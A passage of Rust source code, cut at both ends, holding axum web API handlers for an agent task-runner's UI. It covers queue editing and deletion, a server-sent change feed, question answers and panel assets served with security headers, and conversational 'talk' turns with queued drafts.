4536 return Err(ApiError::not_found(format!(
4537 "no runs recorded against repo `{repo}`"
4538 )));
4539 }
4540 stats::collect_refs(filtered)
4541 }
4542 None => stats::collect(&states),
4543 };
4544 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4545 Ok(Json(StatsView {
4546 totals: StatsTotalsView::from(&collected.totals),
4547 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4548 reviewers: collected
4549 .reviewers
4550 .iter()
4551 .map(ReviewerStatsView::from)
4552 .collect(),
4553 advisors: collected
4554 .advisors
4555 .iter()
4556 .map(AdvisorStatsView::from)
4557 .collect(),
4558 e2e: E2eStatsView::from(&collected.e2e),
4559 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4560 queue: TaskCountsView::from(queue_counts),
4561 runs_unreadable: runs_unreadable(&ui.runs),
4562 repos,
4563 repo: q.repo.clone(),
4564 }))
4565 })
4566 .await
4567}
4568
4569#[derive(Debug, Default, Deserialize)]
4572#[serde(default, deny_unknown_fields)]
4573struct HoldBody {
4574 reason: Option<String>,
4575}
4576
4577async fn queue_hold(
4578 State(ui): State<Arc<Ui>>,
4579 Path(id): Path<String>,
4580 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4581) -> ApiResult<Json<TaskView>> {
4582 let body = match body {
4586 Ok(Json(body)) => body,
4587 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4588 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4589 };
4590 let reason = body.reason.filter(|r| !r.trim().is_empty());
4591 mutate(ui, id, move |t| {
4592 t.hold_manual(reason.clone());
4593 Ok(())
4594 })
4595 .await
4596}
4597
4598async fn queue_release(
4599 State(ui): State<Arc<Ui>>,
4600 Path(id): Path<String>,
4601) -> ApiResult<Json<TaskView>> {
4602 mutate(ui, id, |t| {
4603 t.release();
4604 Ok(())
4605 })
4606 .await
4607}
4608
4609#[derive(Debug, Deserialize)]
4611#[serde(deny_unknown_fields)]
4612struct PriorityBody {
4613 priority: i32,
4614}
4615
4616async fn queue_priority(
4622 State(ui): State<Arc<Ui>>,
4623 Path(id): Path<String>,
4624 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4625) -> ApiResult<Json<TaskView>> {
4626 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4627 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4628}
4629
4630#[derive(Debug, Deserialize)]
4632#[serde(deny_unknown_fields)]
4633struct EditBody {
4634 title: String,
4635 instruction: String,
4636 #[serde(default)]
4639 force: bool,
4640}
4641
4642async fn queue_edit(
4646 State(ui): State<Arc<Ui>>,
4647 Path(id): Path<String>,
4648 body: std::result::Result<Json<EditBody>, JsonRejection>,
4649) -> ApiResult<Json<TaskView>> {
4650 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4651 let mut judged: Option<(String, PathBuf)> = None;
4655 if !body.force {
4656 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4657 let (id, text) = (id.clone(), body.instruction.clone());
4658 let (seen, hits) = blocking(move || {
4659 let id = resolve_task(&queue, &id)?;
4660 let t = queue.get(&id)?;
4661 if text == t.instruction {
4662 return Ok((None, Vec::new()));
4663 }
4664 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4665 Ok((Some((t.instruction, t.repo)), hits))
4666 })
4667 .await?;
4668 if let Some((_, repo)) = &seen {
4669 let cfg = crate::config::Config::discover(repo, None)
4670 .ok()
4671 .map(|(c, _)| c);
4672 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4673 .await
4674 .map_err(|dup| {
4675 ApiError::conflict(dup.render(
4676 "Nothing was saved. If it is not a duplicate, repeat the request with \
4677 \"force\": true.",
4678 ))
4679 })?;
4680 }
4681 judged = seen;
4682 }
4683 let force = body.force;
4684 mutate(ui, id, move |t| {
4685 if !force && body.instruction != t.instruction {
4686 match &judged {
4687 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4688 _ => {
4689 anyhow::bail!("the task changed while it was being checked; repeat the request")
4690 }
4691 }
4692 }
4693 t.edit(body.title.clone(), body.instruction.clone())
4694 })
4695 .await
4696}
4697
4698async fn queue_done(
4706 State(ui): State<Arc<Ui>>,
4707 Path(id): Path<String>,
4708) -> ApiResult<Json<TaskView>> {
4709 let home = ui.home.clone();
4710 mutate(ui, id, move |t| {
4711 t.succeed();
4712 crate::daemon::supersede_prior_runs(t, &home);
4720 Ok(())
4721 })
4722 .await
4723}
4724
4725async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4733 blocking(move || {
4734 let id = resolve_task(&ui.queue, &id)?;
4735 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4736 ui.queue
4737 .remove(&id, in_flight, &ui.questions)
4738 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4739 Ok(StatusCode::NO_CONTENT)
4740 })
4741 .await
4742}
4743
4744async fn mutate(
4753 ui: Arc<Ui>,
4754 id: String,
4755 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4756) -> ApiResult<Json<TaskView>> {
4757 blocking(move || {
4758 let id = resolve_task(&ui.queue, &id)?;
4759 let _claim = ui.queue.claim(&id).map_err(|e| {
4764 ApiError::conflict(format!(
4765 "{e:#} - a daemon is running this task, so it cannot be \
4766 changed from here yet"
4767 ))
4768 })?;
4769 let mut task = ui.queue.get(&id)?;
4770 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4771 Ok(dup) => ApiError::conflict(dup.render(
4772 "Nothing was saved. If it is not a duplicate, repeat the request with \
4773 \"force\": true.",
4774 )),
4775 Err(e) => ApiError::bad_request_from(e),
4776 })?;
4777 ui.queue.put(&mut task)?;
4778 Ok(Json(TaskView::from(task)))
4779 })
4780 .await
4781}
4782
4783async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4791 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4792 tokio::spawn(async move {
4793 let mut ticker = tokio::time::interval(POLL);
4794 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4795 loop {
4796 ticker.tick().await;
4799 let state = Arc::clone(&ui);
4800 let revisions = tokio::task::spawn_blocking(move || {
4801 (
4802 state.queue.revision(),
4803 runs_revision(&state.runs),
4804 state.questions.revision(),
4805 state.talks.revision(),
4806 state.notices.revision(),
4807 state.lock_loop().rev,
4811 )
4812 })
4813 .await;
4814 let Ok(revisions) = revisions else { break };
4815 if last == Some(revisions) {
4816 continue;
4817 }
4818 last = Some(revisions);
4819 let payload = serde_json::json!({
4820 "queue_rev": revisions.0,
4821 "runs_rev": revisions.1,
4822 "questions_rev": revisions.2,
4823 "talks_rev": revisions.3,
4824 "notifications_rev": revisions.4,
4825 "loop_rev": revisions.5,
4826 });
4827 let Ok(event) = Event::default().event("change").json_data(payload) else {
4829 break;
4830 };
4831 if tx.send(event).await.is_err() {
4832 break;
4833 }
4834 }
4835 });
4836 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4837 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4838}
4839
4840fn runs_revision(runs: &FsPath) -> u64 {
4847 use std::hash::{Hash as _, Hasher as _};
4848
4849 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4850 .into_iter()
4851 .flatten()
4852 .flatten()
4853 .filter_map(|e| {
4854 let path = e.path().join("run.json");
4855 let mtime = path
4856 .metadata()
4857 .ok()?
4858 .modified()
4859 .ok()?
4860 .duration_since(std::time::UNIX_EPOCH)
4861 .ok()?
4862 .as_millis() as u64;
4863 let id = e.file_name().to_string_lossy().into_owned();
4864 Some((id, mtime))
4865 })
4866 .collect();
4867
4868 if entries.is_empty() {
4869 return 0;
4870 }
4871
4872 entries.sort_unstable();
4873 let mut hasher = std::hash::DefaultHasher::new();
4874 for (id, mtime) in &entries {
4875 id.hash(&mut hasher);
4876 mtime.hash(&mut hasher);
4877 }
4878 let h = hasher.finish();
4879 if h == 0 { 1 } else { h }
4880}
4881
4882fn run_ids(runs: &FsPath) -> Vec<String> {
4888 let mut ids: Vec<String> = std::fs::read_dir(runs)
4889 .into_iter()
4890 .flatten()
4891 .flatten()
4892 .filter(|e| e.path().join("run.json").is_file())
4893 .map(|e| e.file_name().to_string_lossy().into_owned())
4894 .collect();
4895 ids.sort_unstable_by(|a, b| b.cmp(a));
4897 ids
4898}
4899
4900fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4902 let path = runs.join(id).join("run.json");
4903 let body =
4904 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4905 let state: RunState =
4906 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4907 run::migrate_schema(state)
4912}
4913
4914#[must_use]
4922pub fn runs_unreadable(runs: &FsPath) -> usize {
4923 run_ids(runs)
4924 .into_iter()
4925 .filter(|id| read_run(runs, id).is_err())
4926 .count()
4927}
4928
4929fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4931 if runs.join(id).join("run.json").is_file() {
4932 return Ok(id.to_owned());
4933 }
4934 pick(run_ids(runs), id, "run")
4935}
4936
4937fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4939 if queue.path_of(id).is_file() {
4940 return Ok(id.to_owned());
4941 }
4942 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4943}
4944
4945#[derive(Debug, Serialize)]
4956struct QuestionView {
4957 #[serde(flatten)]
4958 question: Question,
4959 detail_md: Vec<md::Node>,
4960 thread_bodies_md: Vec<Vec<md::Node>>,
4962 waiting_on_agent: bool,
4972 holder: Option<&'static str>,
4976 deputies_enabled: bool,
4980 run_is_task: bool,
4983}
4984
4985impl QuestionView {
4986 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
4990 let base = md::ImageBase::QuestionPanel {
4991 id: question.id.clone(),
4992 };
4993 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4994 Self {
4995 detail_md: md::to_nodes(&question.detail, &base),
4996 thread_bodies_md: question
4997 .thread
4998 .iter()
4999 .map(|t| md::to_nodes(&t.body, &base))
5000 .collect(),
5001 waiting_on_agent: question.waiting_on_agent(),
5002 holder,
5003 deputies_enabled,
5004 run_is_task: question.run_names_task(),
5005 question,
5006 }
5007 }
5008}
5009
5010fn deputies_enabled(repo: &std::path::Path, q: &Question) -> bool {
5012 let cfg = Config::discover(repo, None).ok().map(|(c, _)| c);
5013 crate::deputy::can_start(cfg.as_ref(), crate::deputy::agent_of(q))
5014}
5015
5016fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5026 if !q.status.open() {
5027 return None;
5028 }
5029 if q.cwd.is_none() && q.deputy.is_none() {
5030 return (matches!(
5031 q.node.as_str(),
5032 crate::conduct::NODE | crate::land::APPROVAL_NODE
5033 ) || crate::deputy::kind_of(q) == Some(crate::deputy::Kind::Release))
5034 .then_some("nobody");
5035 }
5036 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5037 Some(_) if q.deputy.is_some() => "deputy",
5038 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5039 Some(_) => "asker",
5040 None => "nobody",
5041 })
5042}
5043
5044async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5050 blocking(move || {
5051 Ok(Json(
5052 ui.questions
5053 .list()
5054 .into_iter()
5055 .map(|q| {
5056 let on = deputies_enabled(&ui.repo, &q);
5057 QuestionView::of(q, &ui.questions, on)
5058 })
5059 .collect(),
5060 ))
5061 })
5062 .await
5063}
5064
5065async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5068 blocking(move || {
5069 let items = ui.notices.list();
5070 let unread = items.iter().filter(|n| n.unread()).count();
5071 Ok(Json(
5072 serde_json::json!({ "unread": unread, "items": items }),
5073 ))
5074 })
5075 .await
5076}
5077
5078fn notice_error(e: anyhow::Error) -> ApiError {
5079 ApiError::not_found(format!("{e:#}"))
5082}
5083
5084async fn notification_read(
5086 State(ui): State<Arc<Ui>>,
5087 Path(id): Path<String>,
5088) -> ApiResult<Json<Notice>> {
5089 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5090}
5091
5092async fn notification_dismiss(
5094 State(ui): State<Arc<Ui>>,
5095 Path(id): Path<String>,
5096) -> ApiResult<Json<Notice>> {
5097 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5098}
5099
5100async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5102 blocking(move || {
5103 let changed = ui.notices.mark_all_read()?;
5104 Ok(Json(serde_json::json!({ "marked": changed })))
5105 })
5106 .await
5107}
5108
5109#[derive(Debug, Default, Deserialize)]
5115#[serde(default, deny_unknown_fields)]
5116struct NewAnswer {
5117 choice: Option<String>,
5118 text: Option<String>,
5119}
5120
5121async fn question_answer(
5122 State(ui): State<Arc<Ui>>,
5123 Path(id): Path<String>,
5124 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5125) -> ApiResult<Json<QuestionView>> {
5126 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5127 let answer = match (body.choice, body.text) {
5128 (Some(c), None) => Answer::Choice(c),
5129 (None, Some(t)) => Answer::Text(t),
5130 (Some(_), Some(_)) => {
5131 return Err(ApiError::bad_request(
5132 "send either `choice` or `text`, not both",
5133 ));
5134 }
5135 (None, None) => {
5136 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5137 }
5138 };
5139
5140 blocking(move || {
5141 let id = resolve_question(&ui.questions, &id)?;
5142 let q = ui
5143 .questions
5144 .get(&id)
5145 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5146 if !q.status.open() {
5147 return Err(ApiError::conflict(format!(
5151 "question {} is already {}",
5152 q.short(),
5153 q.status.as_str()
5154 )));
5155 }
5156 let (q, ()) = ui
5160 .questions
5161 .update(&q.id, |r| r.answer(answer))
5162 .map_err(ApiError::bad_request_from)?;
5163 let on = deputies_enabled(&ui.repo, &q);
5164 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5165 })
5166 .await
5167}
5168
5169#[derive(Debug, Deserialize)]
5171#[serde(deny_unknown_fields)]
5172struct NewSay {
5173 body: String,
5174}
5175
5176async fn question_say(
5186 State(ui): State<Arc<Ui>>,
5187 Path(id): Path<String>,
5188 body: std::result::Result<Json<NewSay>, JsonRejection>,
5189) -> ApiResult<Json<QuestionView>> {
5190 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5191 blocking(move || {
5192 let id = resolve_question(&ui.questions, &id)?;
5193 let q = ui
5194 .questions
5195 .get(&id)
5196 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5197 if !q.status.open() {
5198 return Err(ApiError::conflict(format!(
5202 "question {} is already {}",
5203 q.short(),
5204 q.status.as_str()
5205 )));
5206 }
5207 let (q, ()) = ui
5210 .questions
5211 .update(&q.id, |r| r.say(body.body))
5212 .map_err(ApiError::bad_request_from)?;
5213 let on = deputies_enabled(&ui.repo, &q);
5214 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5215 })
5216 .await
5217}
5218
5219fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5221 if store.path_of(id).is_file() {
5222 return Ok(id.to_owned());
5223 }
5224 pick(
5225 store.list().into_iter().map(|q| q.id).collect(),
5226 id,
5227 "question",
5228 )
5229}
5230
5231async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5246 blocking(move || {
5247 let id = resolve_question(&ui.questions, &id)?;
5248 let Some(html) = ui.questions.panel_html(&id) else {
5249 return Err(ApiError::not_found(format!("question {id} has no panel")));
5250 };
5251 Ok(panel_response(
5252 "text/html; charset=utf-8",
5253 false,
5254 html.into_bytes(),
5255 ))
5256 })
5257 .await
5258}
5259
5260async fn question_asset(
5288 State(ui): State<Arc<Ui>>,
5289 Path((id, name)): Path<(String, String)>,
5290) -> ApiResult<Response> {
5291 if !crate::ask::valid_asset_name(&name) {
5294 return Err(ApiError::bad_request(format!(
5295 "`{name}` is not a usable asset name"
5296 )));
5297 }
5298 blocking(move || {
5299 let id = resolve_question(&ui.questions, &id)?;
5300 let asset = ui
5301 .questions
5302 .panel_asset(&id, &name)
5303 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5304 let Some(bytes) = asset else {
5305 return Err(ApiError::not_found(format!(
5306 "question {id} has no asset `{name}`"
5307 )));
5308 };
5309 Ok(panel_response(
5310 asset_content_type(&name),
5311 is_svg(&name),
5312 bytes,
5313 ))
5314 })
5315 .await
5316}
5317
5318fn asset_content_type(name: &str) -> &'static str {
5331 match extension(name).as_deref() {
5332 Some("png") => "image/png",
5333 Some("jpg" | "jpeg") => "image/jpeg",
5334 Some("gif") => "image/gif",
5335 Some("webp") => "image/webp",
5336 Some("svg") => "image/svg+xml",
5337 Some("css") => "text/css; charset=utf-8",
5338 Some("txt") => "text/plain; charset=utf-8",
5339 _ => "application/octet-stream",
5340 }
5341}
5342
5343fn is_svg(name: &str) -> bool {
5346 extension(name).as_deref() == Some("svg")
5347}
5348
5349fn extension(name: &str) -> Option<String> {
5351 name.rsplit_once('.')
5352 .map(|(_, ext)| ext.to_ascii_lowercase())
5353}
5354
5355fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5372 let mut res = (
5373 [
5374 (header::CONTENT_TYPE, content_type),
5375 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5376 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5377 (header::REFERRER_POLICY, "no-referrer"),
5378 ],
5379 body,
5380 )
5381 .into_response();
5382 if download {
5383 res.headers_mut().insert(
5384 header::CONTENT_DISPOSITION,
5385 HeaderValue::from_static("attachment"),
5386 );
5387 }
5388 res
5389}
5390
5391#[derive(Debug, Serialize)]
5397struct TalkView {
5398 #[serde(flatten)]
5399 talk: Talk,
5400 turn_bodies_md: Vec<Vec<md::Node>>,
5401 thinking: bool,
5409 context: talk::ContextUsage,
5413}
5414
5415impl TalkView {
5416 fn new(talk: Talk, thinking: bool) -> Self {
5419 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5420 Self::with_config(talk, thinking, cfg.as_ref())
5421 }
5422
5423 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5426 let context = talk::context_usage(&talk, cfg);
5427 let turn_bodies_md = talk
5428 .turns
5429 .iter()
5430 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5431 .collect();
5432 Self {
5433 turn_bodies_md,
5434 thinking,
5435 context,
5436 talk,
5437 }
5438 }
5439}
5440
5441#[derive(Debug, Serialize)]
5446struct TalkDetailView {
5447 #[serde(flatten)]
5448 view: TalkView,
5449 tasks: Vec<TaskView>,
5450 roster: Vec<RosterEntry>,
5453}
5454
5455#[derive(Debug, Serialize)]
5457struct RosterEntry {
5458 id: String,
5459 kind: AgentKind,
5460 runnable: bool,
5462}
5463
5464async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5469 blocking(move || {
5470 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5471 Ok(Json(
5472 ui.talks
5473 .list()
5474 .into_iter()
5475 .map(|talk| {
5476 let thinking = ui.is_thinking(&talk.id);
5477 let cfg = configs
5478 .entry(talk.repo.clone())
5479 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5480 TalkView::with_config(talk, thinking, cfg.as_ref())
5481 })
5482 .collect(),
5483 ))
5484 })
5485 .await
5486}
5487
5488#[derive(Debug, Default, Deserialize)]
5493#[serde(default)]
5494struct NewTalk {
5495 agent: Option<String>,
5496 repo: Option<PathBuf>,
5497}
5498
5499async fn talk_post(
5502 State(ui): State<Arc<Ui>>,
5503 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5504) -> ApiResult<impl IntoResponse> {
5505 let body = match body {
5509 Ok(Json(body)) => body,
5510 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5511 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5512 };
5513 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5514 let cfg = config_for(&repo).await?;
5515 let view = blocking(move || {
5516 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5517 let thinking = ui.is_thinking(&talk.id);
5518 Ok(TalkView::new(talk, thinking))
5519 })
5520 .await?;
5521 Ok((StatusCode::CREATED, Json(view)))
5522}
5523
5524async fn talk_detail(
5526 State(ui): State<Arc<Ui>>,
5527 Path(id): Path<String>,
5528) -> ApiResult<Json<TalkDetailView>> {
5529 blocking(move || {
5530 let id = resolve_talk(&ui.talks, &id)?;
5531 let talk = ui.talks.get(&id)?;
5532 let thinking = ui.is_thinking(&talk.id);
5533 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5534 .into_iter()
5535 .map(TaskView::from)
5536 .collect();
5537 let roster = Config::discover(&talk.repo, None)
5538 .map(|(cfg, _)| {
5539 cfg.agents
5540 .iter()
5541 .map(|a| RosterEntry {
5542 id: a.id.clone(),
5543 kind: a.kind,
5544 runnable: agent::installed(a),
5545 })
5546 .collect()
5547 })
5548 .unwrap_or_default();
5549 Ok(Json(TalkDetailView {
5550 view: TalkView::new(talk, thinking),
5551 tasks,
5552 roster,
5553 }))
5554 })
5555 .await
5556}
5557
5558#[derive(Debug, Default, Deserialize)]
5564#[serde(default, deny_unknown_fields)]
5565struct NewTalkTurn {
5566 text: String,
5567 attachments: Vec<String>,
5568}
5569
5570#[derive(Debug, Deserialize)]
5571#[serde(deny_unknown_fields)]
5572struct EditTalkPending {
5573 text: String,
5574 expected_text: String,
5575 expected_attachments: Vec<String>,
5576}
5577
5578#[derive(Debug, Deserialize)]
5579#[serde(deny_unknown_fields)]
5580struct ClearTalkPending {
5581 expected_text: String,
5582 expected_attachments: Vec<String>,
5583}
5584
5585async fn talk_say(
5597 State(ui): State<Arc<Ui>>,
5598 Path(id): Path<String>,
5599 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5600) -> ApiResult<(StatusCode, Json<TalkView>)> {
5601 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5602 if body.text.trim().is_empty() && body.attachments.is_empty() {
5603 return Err(ApiError::bad_request("say something"));
5604 }
5605
5606 let id = {
5607 let ui = Arc::clone(&ui);
5608 let asked = id.clone();
5609 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5610 };
5611 {
5615 let ui = Arc::clone(&ui);
5616 let id = id.clone();
5617 blocking(move || {
5618 let talk = ui.talks.get(&id)?;
5619 if !talk.status.open() {
5620 return Err(ApiError::conflict(format!(
5621 "talk {} is {} and takes no more turns",
5622 talk.short(),
5623 talk.status.as_str()
5624 )));
5625 }
5626 Ok(())
5627 })
5628 .await?;
5629 }
5630
5631 let attachments = {
5636 let ui = Arc::clone(&ui);
5637 let id = id.clone();
5638 let ids = body.attachments.clone();
5639 blocking(move || {
5640 ids.into_iter()
5641 .map(|att_id| {
5642 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5643 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5644 })
5645 })
5646 .collect::<ApiResult<Vec<talk::Attachment>>>()
5647 })
5648 .await?
5649 };
5650
5651 let start = {
5656 let ui = Arc::clone(&ui);
5657 let id = id.clone();
5658 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5659 };
5660 let turn_guard = match start {
5661 TalkTurnStart::Claimed(turn_guard) => turn_guard,
5662 TalkTurnStart::Pending => {
5663 return Err(ApiError::conflict(
5664 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5665 ));
5666 }
5667 TalkTurnStart::Busy => {
5668 let (tx, rx) = tokio::sync::oneshot::channel();
5684 tokio::spawn({
5685 let ui = Arc::clone(&ui);
5686 let id = id.clone();
5687 let said = body.text.clone();
5688 async move {
5689 let written = blocking({
5690 let ui = Arc::clone(&ui);
5691 let id = id.clone();
5692 move || {
5693 let mut talk = ui.talks.get(&id)?;
5694 #[cfg(test)]
5699 if let Some(gate) = ui
5700 .busy_queue_gate
5701 .lock()
5702 .unwrap_or_else(PoisonError::into_inner)
5703 .take()
5704 {
5705 let _ = gate.reached.send(());
5706 let _ = gate.release.recv();
5707 }
5708 if let Err(error) =
5709 talk::queue(&mut talk, &ui.talks, &said, attachments)
5710 {
5711 if let Ok(fresh) = ui.talks.get(&id) {
5712 if !fresh.status.open() {
5713 return Err(ApiError::conflict(format!(
5714 "talk {} is {} and takes no more turns",
5715 fresh.short(),
5716 fresh.status.as_str()
5717 )));
5718 }
5719 }
5720 return Err(ApiError::from(error));
5721 }
5722 let claim = match ui.begin_queued_talk_turn(&id)? {
5733 Some(turn_guard) => {
5734 let (cfg, _) = Config::discover(&talk.repo, None)?;
5735 Some((talk.clone(), cfg, turn_guard))
5736 }
5737 None => None,
5738 };
5739 let thinking = ui.is_thinking(&id);
5740 Ok((TalkView::new(talk, thinking), claim))
5741 }
5742 })
5743 .await;
5744 let (view, reclaimed) = match written {
5745 Ok(pair) => pair,
5746 Err(e) => {
5747 let _ = tx.send(Err(e));
5752 return;
5753 }
5754 };
5755 let _ = tx.send(Ok(view));
5758 if let Some((talk, cfg, turn_guard)) = reclaimed {
5759 let talks = ui.talks.clone();
5760 drain_loop(talk, talks, cfg, id, turn_guard).await;
5761 }
5762 }
5763 });
5764 let view = rx
5765 .await
5766 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5767 return Ok((StatusCode::ACCEPTED, Json(view)));
5768 }
5769 };
5770
5771 let (talk, cfg) = {
5772 let ui = Arc::clone(&ui);
5773 let id = id.clone();
5774 blocking(move || {
5775 let talk = ui.talks.get(&id)?;
5776 let (cfg, _) = Config::discover(&talk.repo, None)?;
5777 Ok((talk, cfg))
5778 })
5779 .await?
5780 };
5781
5782 let talks = ui.talks.clone();
5783 let (tx, rx) = tokio::sync::oneshot::channel();
5798 tokio::spawn({
5799 let ui = Arc::clone(&ui);
5800 let talks = talks.clone();
5801 let id = id.clone();
5802 let said = body.text.clone();
5803 let mut talk = talk.clone();
5804 async move {
5805 let recorded = blocking({
5806 let talks = talks.clone();
5807 move || {
5808 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5809 if let Ok(fresh) = talks.get(&talk.id) {
5810 if !fresh.status.open() {
5811 return Err(ApiError::conflict(format!(
5812 "talk {} is {} and takes no more turns",
5813 fresh.short(),
5814 fresh.status.as_str()
5815 )));
5816 }
5817 }
5818 return Err(ApiError::from(error));
5819 }
5820 Ok((said.trim().to_owned(), talk))
5826 }
5827 })
5828 .await;
5829 let (text, mut talk) = match recorded {
5830 Ok(pair) => pair,
5831 Err(e) => {
5832 let _ = tx.send(Err(e));
5836 return;
5837 }
5838 };
5839 let queued = talk.clone();
5840 let thinking = ui.is_thinking(&id);
5841 let _ = tx.send(Ok((queued, thinking)));
5844
5845 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5846 tracing::warn!("talk {id} turn failed: {e:#}");
5850 }
5851 drain_loop(talk, talks, cfg, id, turn_guard).await;
5854 }
5855 });
5856
5857 let (queued, thinking) = rx
5858 .await
5859 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5860
5861 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5863}
5864
5865async fn talk_pending_resume(
5869 State(ui): State<Arc<Ui>>,
5870 Path(id): Path<String>,
5871) -> ApiResult<(StatusCode, Json<TalkView>)> {
5872 let id = {
5873 let ui = Arc::clone(&ui);
5874 let asked = id.clone();
5875 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5876 };
5877 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5878 return Err(ApiError::conflict(
5879 "a talk turn is already running; the queued draft will be handled by it",
5880 ));
5881 };
5882 let (talk, cfg) = {
5883 let ui = Arc::clone(&ui);
5884 let id = id.clone();
5885 blocking(move || {
5886 let talk = ui.talks.get(&id)?;
5887 if !talk.status.open() {
5888 return Err(ApiError::conflict(format!(
5889 "talk {} is {} and takes no more turns",
5890 talk.short(),
5891 talk.status.as_str()
5892 )));
5893 }
5894 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5895 return Err(ApiError::conflict("there is no queued draft to resume"));
5896 }
5897 let (cfg, _) = Config::discover(&talk.repo, None)?;
5898 Ok((talk, cfg))
5899 })
5900 .await?
5901 };
5902 let view = TalkView::new(talk.clone(), true);
5903 let talks = ui.talks.clone();
5904 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5905 Ok((StatusCode::ACCEPTED, Json(view)))
5906}
5907
5908async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5924 let live_set = Arc::clone(&turn.turns);
5925 let mut turn = Some(turn);
5933 loop {
5934 let observed = live_set
5938 .lock()
5939 .unwrap_or_else(PoisonError::into_inner)
5940 .queued
5941 .get(&id)
5942 .copied()
5943 .unwrap_or(0);
5944 let drained = blocking({
5945 let talks = talks.clone();
5946 move || {
5947 let result = talk::drain(&mut talk, &talks);
5948 Ok((talk, result))
5949 }
5950 })
5951 .await;
5952 let (next_talk, result) = match drained {
5953 Ok(drained) => drained,
5954 Err(e) => {
5955 tracing::warn!(
5956 status = %e.status,
5957 message = %e.message,
5958 "talk {id} could not start queued-text drain"
5959 );
